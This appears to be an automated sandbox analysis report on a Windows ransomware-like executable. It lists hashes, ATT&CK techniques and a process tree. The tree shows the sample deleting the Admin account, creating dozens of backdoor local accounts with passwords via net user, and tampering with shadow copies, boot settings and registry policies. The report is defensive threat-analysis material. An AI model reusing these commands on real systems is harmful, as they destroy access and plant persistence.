aedbaf7d4380ee4fd07c34017b67a0cf53eaf6668d37d45ecb8391130a039282

Analysis

max time kernel
79s
max time network
142s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
11/11/2026, 23:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
aedbaf7d4380ee4f.exe
Size 2.1MB
Sample261111-265jvasvf1
SHA256 aedbaf7d4380ee4fd07c34017b67a0cf53eaf6668d37d45ecb8391130a039282
MD5 bb8011606fea0751304de45ccc422614
SHA1 666c7eef65f61054044ee416410f471a3ac2c4e0
SHA512 e80e3fbc7b671b86033d5b6a6104bd86b1d9abe0f73f314d568198925cf493cc9d970f102c1160fb09fbde82e975562935a4c30cafcd22b78c46c07aa8e88b94
SSDEEP 12288:R7KhpcYL1DebKZplDmrcX/GA5mIqYkQrw9bg5rIszXDTRx7GBHK9/tI7pXrJQRkj:ZKb1L3ZplircX+AMoicRpXhkusQrj7c
TLSH
T1C8A53B0377C7ADF6C8932B74AAEF132C5721EE305F6A0B7F554882345D532E8AD0A691
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery evasion execution exploit impact persistence privilege_escalation ransomware

Malware Config

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 3 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
5732	bcdedit.exe
1320	bcdedit.exe
5076	bcdedit.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
defense_evasion

Indicator Removal: Network Share Connection Removal 1 TTPs 3 IoCs

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

defense_evasion

Network Share Connection Removal

T1070.005

pid	Process
5116	cmd.exe
2820	net.exe
2500	net1.exe

Possible privilege escalation attempt 6 IoCs

exploit

pid	Process
6056	icacls.exe
4048	takeown.exe
4272	icacls.exe
2380	takeown.exe
4896	icacls.exe
3344	takeown.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Modifies file permissions 1 TTPs 6 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2380	takeown.exe
4896	icacls.exe
3344	takeown.exe
6056	icacls.exe
4048	takeown.exe
4272	icacls.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3516	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Power Settings 1 TTPs 2 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
5036	cmd.exe
4780	powercfg.exe

Creates a new local user account 1 TTPs 64 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
1168	net.exe
5032	net.exe
4928	net.exe
5712	net.exe
3176	net1.exe
5360	net.exe
956	net1.exe
3164	net.exe
4132	net1.exe
2756	net1.exe
5984	net.exe
5356	net.exe
5680	net1.exe
2328	net1.exe
4572	net.exe
4664	net1.exe
4816	net.exe
5416	net.exe
4136	net.exe
4920	net1.exe
3188	net.exe
1096	net.exe
4228	net.exe
5924	net1.exe
3016	net1.exe
3292	net.exe
5024	net1.exe
4628	net.exe
1784	net.exe
3324	net.exe
3256	net.exe
3468	net1.exe
4216	net.exe
1040	net1.exe
1496	net.exe
3904	net1.exe
2748	net1.exe
8	net.exe
5016	net1.exe
2052	net1.exe
5880	net1.exe
3044	net1.exe
4436	net1.exe
1272	net.exe
3704	net.exe
1832	net.exe
5952	net1.exe
4896	net1.exe
3232	net1.exe
1276	net.exe
568	net1.exe
4508	net1.exe
3548	net.exe
5368	net1.exe
4980	net.exe
4992	net1.exe
3316	net.exe
1320	net1.exe
5020	net.exe
5036	net1.exe
5152	net1.exe
2700	net.exe
4392	net1.exe
5088	net1.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe

Launches sc.exe 6 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2720	sc.exe
5188	sc.exe
4076	sc.exe
5000	sc.exe
2760	sc.exe
4384	sc.exe

Event Triggered Execution: Accessibility Features 1 TTPs
Windows contains accessibility features that may be used by adversaries to establish persistence and/or elevate privileges.
persistence privilege_escalation

Accessibility Features
T1546.008

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2420	cmd.exe
3008	cmd.exe
1988	cmd.exe
4964	cmd.exe
5296	cmd.exe
260	cmd.exe
2792	cmd.exe
2884	cmd.exe
4508	cmd.exe
4956	cmd.exe
4164	cmd.exe
3056	cmd.exe
3308	cmd.exe
5812	cmd.exe
4960	cmd.exe
2676	cmd.exe
1148	cmd.exe
2836	cmd.exe
4040	cmd.exe
5500	cmd.exe
3036	cmd.exe
1880	cmd.exe
1516	cmd.exe
4424	cmd.exe
4168	cmd.exe
4260	cmd.exe
1088	cmd.exe
460	cmd.exe
3260	cmd.exe
5596	cmd.exe
204	cmd.exe
1384	cmd.exe
4336	cmd.exe
3632	cmd.exe
4908	cmd.exe
5640	cmd.exe
4584	cmd.exe
3560	cmd.exe
4108	cmd.exe
2068	cmd.exe
4460	cmd.exe
3804	cmd.exe
2308	cmd.exe
5144	cmd.exe
4392	cmd.exe
4656	cmd.exe
4312	cmd.exe
1164	cmd.exe
6052	cmd.exe
5664	cmd.exe
2708	cmd.exe
1580	cmd.exe
4320	cmd.exe
4180	cmd.exe
3016	cmd.exe
5676	cmd.exe
4952	cmd.exe
4660	cmd.exe
4132	cmd.exe
5684	cmd.exe
5776	cmd.exe
4088	cmd.exe
5784	cmd.exe
1608	cmd.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4192	vssadmin.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6020	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3516	powershell.exe
3516	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
820	Process not Found
820	Process not Found

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4780	powercfg.exe
Token: SeCreatePagefilePrivilege	4780	powercfg.exe
Token: SeShutdownPrivilege	4780	powercfg.exe
Token: SeCreatePagefilePrivilege	4780	powercfg.exe
Token: SeSystemEnvironmentPrivilege	2772	svchost.exe
Token: SeBackupPrivilege	3320	vssvc.exe
Token: SeRestorePrivilege	3320	vssvc.exe
Token: SeAuditPrivilege	3320	vssvc.exe
Token: SeDebugPrivilege	3516	powershell.exe
Token: SeTakeOwnershipPrivilege	4048	takeown.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3068	conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4120 wrote to memory of 5116	4120	aedbaf7d4380ee4f.exe	89
PID 5116 wrote to memory of 2820	5116	cmd.exe	90
PID 2820 wrote to memory of 2500	2820	net.exe	91
PID 4120 wrote to memory of 3500	4120	aedbaf7d4380ee4f.exe	92
PID 3500 wrote to memory of 3316	3500	cmd.exe	93
PID 3316 wrote to memory of 5380	3316	net.exe	94
PID 4120 wrote to memory of 5784	4120	aedbaf7d4380ee4f.exe	95
PID 5784 wrote to memory of 3704	5784	cmd.exe	96
PID 3704 wrote to memory of 956	3704	net.exe	97
PID 4120 wrote to memory of 5500	4120	aedbaf7d4380ee4f.exe	98
PID 5500 wrote to memory of 4888	5500	cmd.exe	99
PID 4888 wrote to memory of 2748	4888	net.exe	100
PID 4120 wrote to memory of 1988	4120	aedbaf7d4380ee4f.exe	101
PID 1988 wrote to memory of 1784	1988	cmd.exe	102
PID 1784 wrote to memory of 6024	1784	net.exe	103
PID 4120 wrote to memory of 4892	4120	aedbaf7d4380ee4f.exe	104
PID 4892 wrote to memory of 3548	4892	cmd.exe	105
PID 3548 wrote to memory of 4528	3548	net.exe	106
PID 4120 wrote to memory of 4584	4120	aedbaf7d4380ee4f.exe	107
PID 4584 wrote to memory of 1976	4584	cmd.exe	108
PID 1976 wrote to memory of 5680	1976	net.exe	109
PID 4120 wrote to memory of 4960	4120	aedbaf7d4380ee4f.exe	110
PID 4960 wrote to memory of 5032	4960	cmd.exe	111
PID 5032 wrote to memory of 4392	5032	net.exe	112
PID 4120 wrote to memory of 5676	4120	aedbaf7d4380ee4f.exe	113
PID 5676 wrote to memory of 1788	5676	cmd.exe	114
PID 1788 wrote to memory of 2328	1788	net.exe	115
PID 4120 wrote to memory of 3036	4120	aedbaf7d4380ee4f.exe	116
PID 3036 wrote to memory of 3164	3036	cmd.exe	117
PID 3164 wrote to memory of 4460	3164	net.exe	118
PID 4120 wrote to memory of 4164	4120	aedbaf7d4380ee4f.exe	119
PID 4164 wrote to memory of 1832	4164	cmd.exe	120
PID 1832 wrote to memory of 4348	1832	net.exe	121
PID 4120 wrote to memory of 4964	4120	aedbaf7d4380ee4f.exe	122
PID 4964 wrote to memory of 8	4964	cmd.exe	123
PID 8 wrote to memory of 4132	8	net.exe	124
PID 4120 wrote to memory of 1164	4120	aedbaf7d4380ee4f.exe	125
PID 1164 wrote to memory of 4572	1164	cmd.exe	126
PID 4572 wrote to memory of 1320	4572	net.exe	127
PID 4120 wrote to memory of 6052	4120	aedbaf7d4380ee4f.exe	128
PID 6052 wrote to memory of 4028	6052	cmd.exe	129
PID 4028 wrote to memory of 5952	4028	net.exe	130
PID 4120 wrote to memory of 5424	4120	aedbaf7d4380ee4f.exe	131
PID 5424 wrote to memory of 5020	5424	cmd.exe	132
PID 5020 wrote to memory of 2416	5020	net.exe	133
PID 4120 wrote to memory of 1880	4120	aedbaf7d4380ee4f.exe	134
PID 1880 wrote to memory of 3188	1880	cmd.exe	135
PID 3188 wrote to memory of 5036	3188	net.exe	136
PID 4120 wrote to memory of 5664	4120	aedbaf7d4380ee4f.exe	137
PID 5664 wrote to memory of 1096	5664	cmd.exe	138
PID 1096 wrote to memory of 1684	1096	net.exe	139
PID 4120 wrote to memory of 2128	4120	aedbaf7d4380ee4f.exe	140
PID 2128 wrote to memory of 4928	2128	cmd.exe	141
PID 4928 wrote to memory of 5016	4928	net.exe	142
PID 4120 wrote to memory of 4424	4120	aedbaf7d4380ee4f.exe	143
PID 4424 wrote to memory of 4228	4424	cmd.exe	144
PID 4228 wrote to memory of 4664	4228	net.exe	145
PID 4120 wrote to memory of 3284	4120	aedbaf7d4380ee4f.exe	146
PID 3284 wrote to memory of 5712	3284	cmd.exe	147
PID 5712 wrote to memory of 3176	5712	net.exe	148
PID 4120 wrote to memory of 4168	4120	aedbaf7d4380ee4f.exe	149
PID 4168 wrote to memory of 4816	4168	cmd.exe	150
PID 4816 wrote to memory of 2052	4816	net.exe	151
PID 4120 wrote to memory of 3560	4120	aedbaf7d4380ee4f.exe	152

System policy modification 1 TTPs 3 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer	aedbaf7d4380ee4f.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives = "67108863"	aedbaf7d4380ee4f.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive = "67108863"	aedbaf7d4380ee4f.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\aedbaf7d4380ee4f.exe
"C:\Users\Admin\AppData\Local\Temp\aedbaf7d4380ee4f.exe"
1⤵
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4120
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user Admin /delete
  2⤵
  - Indicator Removal: Network Share Connection Removal
  - Suspicious use of WriteProcessMemory
  PID:5116
- - C:\Windows\system32\net.exe
    net user Admin /delete
    3⤵
    - Indicator Removal: Network Share Connection Removal
    - Suspicious use of WriteProcessMemory
    PID:2820
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user Admin /delete
      4⤵
      Indicator Removal: Network Share Connection Removal
      PID:2500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_1 9VPhkCP2NFk2ML /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3500
- - C:\Windows\system32\net.exe
    net user opa_1 9VPhkCP2NFk2ML /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:3316
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_1 9VPhkCP2NFk2ML /add
      4⤵
      PID:5380
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_2 EqBjq21xeAi /add
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5784
- - C:\Windows\system32\net.exe
    net user opa_2 EqBjq21xeAi /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:3704
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_2 EqBjq21xeAi /add
      4⤵
      Creates a new local user account
      PID:956
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_3 KUn6yPGKk3Z /add
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5500
- - C:\Windows\system32\net.exe
    net user opa_3 KUn6yPGKk3Z /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4888
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_3 KUn6yPGKk3Z /add
      4⤵
      Creates a new local user account
      PID:2748
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_4 BRWuVILsMB8gVX /add
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1988
- - C:\Windows\system32\net.exe
    net user opa_4 BRWuVILsMB8gVX /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:1784
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_4 BRWuVILsMB8gVX /add
      4⤵
      PID:6024
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_5 9Pki1Wu4eS /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4892
- - C:\Windows\system32\net.exe
    net user opa_5 9Pki1Wu4eS /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:3548
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_5 9Pki1Wu4eS /add
      4⤵
      PID:4528
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_6 1YG7KApVhn64 /add
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4584
- - C:\Windows\system32\net.exe
    net user opa_6 1YG7KApVhn64 /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1976
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_6 1YG7KApVhn64 /add
      4⤵
      Creates a new local user account
      PID:5680
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_7 jjhG6ZIUjCrg95 /add
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4960
- - C:\Windows\system32\net.exe
    net user opa_7 jjhG6ZIUjCrg95 /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:5032
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_7 jjhG6ZIUjCrg95 /add
      4⤵
      Creates a new local user account
      PID:4392
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_8 e4DW3SUlZrL /add
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5676
- - C:\Windows\system32\net.exe
    net user opa_8 e4DW3SUlZrL /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1788
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_8 e4DW3SUlZrL /add
      4⤵
      Creates a new local user account
      PID:2328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_9 o34Atpk3BKz1 /add
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3036
- - C:\Windows\system32\net.exe
    net user opa_9 o34Atpk3BKz1 /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:3164
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_9 o34Atpk3BKz1 /add
      4⤵
      PID:4460
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_10 Dt2t0MY1gCuuST /add
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4164
- - C:\Windows\system32\net.exe
    net user opa_10 Dt2t0MY1gCuuST /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:1832
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_10 Dt2t0MY1gCuuST /add
      4⤵
      PID:4348
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_11 E90Z8azb2LO /add
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4964
- - C:\Windows\system32\net.exe
    net user opa_11 E90Z8azb2LO /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:8
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_11 E90Z8azb2LO /add
      4⤵
      Creates a new local user account
      PID:4132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_12 ZGWMhZHcNw /add
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1164
- - C:\Windows\system32\net.exe
    net user opa_12 ZGWMhZHcNw /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:4572
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_12 ZGWMhZHcNw /add
      4⤵
      Creates a new local user account
      PID:1320
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_13 d1K6qeseK5 /add
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6052
- - C:\Windows\system32\net.exe
    net user opa_13 d1K6qeseK5 /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4028
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_13 d1K6qeseK5 /add
      4⤵
      Creates a new local user account
      PID:5952
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_14 18VV4YhLko2TA /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5424
- - C:\Windows\system32\net.exe
    net user opa_14 18VV4YhLko2TA /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:5020
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_14 18VV4YhLko2TA /add
      4⤵
      PID:2416
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_15 IGasjFyQEgUTf /add
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1880
- - C:\Windows\system32\net.exe
    net user opa_15 IGasjFyQEgUTf /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:3188
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_15 IGasjFyQEgUTf /add
      4⤵
      Creates a new local user account
      PID:5036
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_16 Q9xpGzV5mhm /add
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5664
- - C:\Windows\system32\net.exe
    net user opa_16 Q9xpGzV5mhm /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:1096
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_16 Q9xpGzV5mhm /add
      4⤵
      PID:1684
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_17 Yo4zMQqhigG2b /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2128
- - C:\Windows\system32\net.exe
    net user opa_17 Yo4zMQqhigG2b /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:4928
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_17 Yo4zMQqhigG2b /add
      4⤵
      Creates a new local user account
      PID:5016
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_18 NYlzfNRaBBQ /add
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4424
- - C:\Windows\system32\net.exe
    net user opa_18 NYlzfNRaBBQ /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:4228
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_18 NYlzfNRaBBQ /add
      4⤵
      Creates a new local user account
      PID:4664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_19 QxWDkehL4Q3tX /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3284
- - C:\Windows\system32\net.exe
    net user opa_19 QxWDkehL4Q3tX /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:5712
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_19 QxWDkehL4Q3tX /add
      4⤵
      Creates a new local user account
      PID:3176
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_20 XAeLVH8Lg4vqG /add
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4168
- - C:\Windows\system32\net.exe
    net user opa_20 XAeLVH8Lg4vqG /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:4816
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_20 XAeLVH8Lg4vqG /add
      4⤵
      Creates a new local user account
      PID:2052
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_21 luV1CdFhz4S /add
  2⤵
  - Executes a command shell one-liner
  PID:3560
- - C:\Windows\system32\net.exe
    net user opa_21 luV1CdFhz4S /add
    3⤵
    - Creates a new local user account
    PID:3324
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_21 luV1CdFhz4S /add
      4⤵
      Creates a new local user account
      PID:4896
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_22 E1cdkD3irCdpko /add
  2⤵
  PID:2352
- - C:\Windows\system32\net.exe
    net user opa_22 E1cdkD3irCdpko /add
    3⤵
    PID:3880
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_22 E1cdkD3irCdpko /add
      4⤵
      PID:1828
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_23 XrrvJ8unkf8 /add
  2⤵
  PID:3764
- - C:\Windows\system32\net.exe
    net user opa_23 XrrvJ8unkf8 /add
    3⤵
    PID:4244
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_23 XrrvJ8unkf8 /add
      4⤵
      PID:2080
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_24 DVfmw3WO0lH /add
  2⤵
  - Executes a command shell one-liner
  PID:5596
- - C:\Windows\system32\net.exe
    net user opa_24 DVfmw3WO0lH /add
    3⤵
    - Creates a new local user account
    PID:1168
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_24 DVfmw3WO0lH /add
      4⤵
      Creates a new local user account
      PID:5880
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_25 eTnKWSsZfFej7 /add
  2⤵
  PID:4124
- - C:\Windows\system32\net.exe
    net user opa_25 eTnKWSsZfFej7 /add
    3⤵
    PID:4400
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_25 eTnKWSsZfFej7 /add
      4⤵
      Creates a new local user account
      PID:5088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_26 OzWVUqlChmVd3 /add
  2⤵
  - Executes a command shell one-liner
  PID:2708
- - C:\Windows\system32\net.exe
    net user opa_26 OzWVUqlChmVd3 /add
    3⤵
    - Creates a new local user account
    PID:3256
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_26 OzWVUqlChmVd3 /add
      4⤵
      Creates a new local user account
      PID:3044
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_27 uMgicQVZwG /add
  2⤵
  - Executes a command shell one-liner
  PID:1608
- - C:\Windows\system32\net.exe
    net user opa_27 uMgicQVZwG /add
    3⤵
    - Creates a new local user account
    PID:5416
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_27 uMgicQVZwG /add
      4⤵
      Creates a new local user account
      PID:2756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_28 xVRKMQt22EtHV /add
  2⤵
  - Executes a command shell one-liner
  PID:3056
- - C:\Windows\system32\net.exe
    net user opa_28 xVRKMQt22EtHV /add
    3⤵
    PID:2904
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_28 xVRKMQt22EtHV /add
      4⤵
      Creates a new local user account
      PID:3468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_29 ItwODlXXJAoVbf /add
  2⤵
  PID:2740
- - C:\Windows\system32\net.exe
    net user opa_29 ItwODlXXJAoVbf /add
    3⤵
    PID:5688
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_29 ItwODlXXJAoVbf /add
      4⤵
      Creates a new local user account
      PID:4436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_30 7yR4Spzp3N2F /add
  2⤵
  PID:2852
- - C:\Windows\system32\net.exe
    net user opa_30 7yR4Spzp3N2F /add
    3⤵
    PID:1380
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_30 7yR4Spzp3N2F /add
      4⤵
      PID:2528
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_31 kMmVJuvh1qZXgF /add
  2⤵
  - Executes a command shell one-liner
  PID:3308
- - C:\Windows\system32\net.exe
    net user opa_31 kMmVJuvh1qZXgF /add
    3⤵
    PID:5108
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_31 kMmVJuvh1qZXgF /add
      4⤵
      PID:1532
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_32 8WnfnFv10N /add
  2⤵
  - Executes a command shell one-liner
  PID:204
- - C:\Windows\system32\net.exe
    net user opa_32 8WnfnFv10N /add
    3⤵
    - Creates a new local user account
    PID:4216
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_32 8WnfnFv10N /add
      4⤵
      PID:4160
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_33 rEI11b6to5x /add
  2⤵
  - Executes a command shell one-liner
  PID:1580
- - C:\Windows\system32\net.exe
    net user opa_33 rEI11b6to5x /add
    3⤵
    PID:2864
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_33 rEI11b6to5x /add
      4⤵
      PID:3200
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_34 tYcWnfgUgsh /add
  2⤵
  - Executes a command shell one-liner
  PID:1384
- - C:\Windows\system32\net.exe
    net user opa_34 tYcWnfgUgsh /add
    3⤵
    - Creates a new local user account
    PID:5360
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_34 tYcWnfgUgsh /add
      4⤵
      Creates a new local user account
      PID:3232
